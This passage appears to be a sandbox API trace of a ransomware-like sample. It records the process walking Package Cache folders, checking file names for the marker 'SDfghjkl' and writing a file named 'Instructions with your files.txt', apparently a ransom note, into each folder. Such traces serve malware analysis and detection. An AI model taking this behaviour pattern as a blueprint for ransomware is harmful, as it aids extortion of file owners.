[0132.005] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0132.005] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0132.005] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0132.005] CloseHandle (hObject=0x114) returned 1
[0132.005] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0132.005] GetProcessHeap () returned 0x810000
[0132.005] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0132.005] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb4566840, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4566840, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
[0132.005] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\Instructions with your files.txt") returned 110
[0132.005] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0132.005] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0132.006] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0132.006] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0132.006] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0132.007] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0132.007] CloseHandle (hObject=0x110) returned 1
[0132.007] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0132.007] GetProcessHeap () returned 0x810000
[0132.007] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0132.007] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb571abe0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb571abe0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb5740d40, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0132.007] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\Instructions with your files.txt") returned 69
[0132.007] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.007] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb49460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb458c9a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb458c9a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", cAlternateFileName="{13A4E~1.210")) returned 1
[0132.007] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned 86
[0132.007] GetProcessHeap () returned 0x810000
[0132.007] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0132.007] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*") returned 88
[0132.007] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb49460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb458c9a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb458c9a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0132.007] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\.") returned 88
[0132.007] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb49460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb458c9a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb458c9a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.007] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\..") returned 89
[0132.007] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb458c9a0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb458c9a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb458c9a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0132.007] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\Instructions with your files.txt") returned 119
[0132.007] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.007] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb4566840, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4566840, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
[0132.007] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages") returned 95
[0132.007] GetProcessHeap () returned 0x810000
[0132.007] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0132.008] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*") returned 97
[0132.008] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb4566840, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4566840, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0132.008] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\.") returned 97
[0132.008] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb4566840, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4566840, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.008] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\..") returned 98
[0132.008] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4566840, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb4566840, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb458c9a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0132.008] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\Instructions with your files.txt") returned 128
[0132.008] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.008] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb4566840, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4566840, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1
[0132.008] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86") returned 116
[0132.008] GetProcessHeap () returned 0x810000
[0132.008] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0132.008] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*") returned 118
[0132.008] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb4566840, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4566840, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0132.008] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\.") returned 118
[0132.008] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb4566840, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4566840, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.008] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\..") returned 119
[0132.008] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc6500, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x50cc6500, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x50cc6500, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0xf36be, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
[0132.008] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab") returned 125
[0132.008] StrStrIW (lpFirst="cab1.cab", lpSrch="SDfghjkl") returned 0x0
[0132.008] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4566840, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb4566840, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4566840, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0132.008] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\Instructions with your files.txt") returned 149
[0132.008] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.008] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc6500, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x50cc6500, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x50cc6500, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
[0132.008] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi") returned 142
[0132.008] StrStrIW (lpFirst="vc_runtimeMinimum_x86.msi", lpSrch="SDfghjkl") returned 0x0
[0132.008] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc6500, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x50cc6500, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x50cc6500, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
[0132.009] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\Instructions with your files.txt") returned 149
[0132.009] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0132.009] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0132.010] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0132.010] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0132.010] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0132.010] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0132.010] CloseHandle (hObject=0x118) returned 1
[0132.010] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0132.010] GetProcessHeap () returned 0x810000
[0132.010] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0132.010] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb4566840, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4566840, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0
[0132.010] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\Instructions with your files.txt") returned 128
[0132.010] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0132.010] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0132.011] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0132.011] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0132.011] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0132.012] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0132.012] CloseHandle (hObject=0x114) returned 1
[0132.012] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0132.012] GetProcessHeap () returned 0x810000
[0132.012] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0132.012] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb4566840, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4566840, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
[0132.012] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\Instructions with your files.txt") returned 119
[0132.012] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0132.012] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0132.013] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0132.013] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0132.013] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
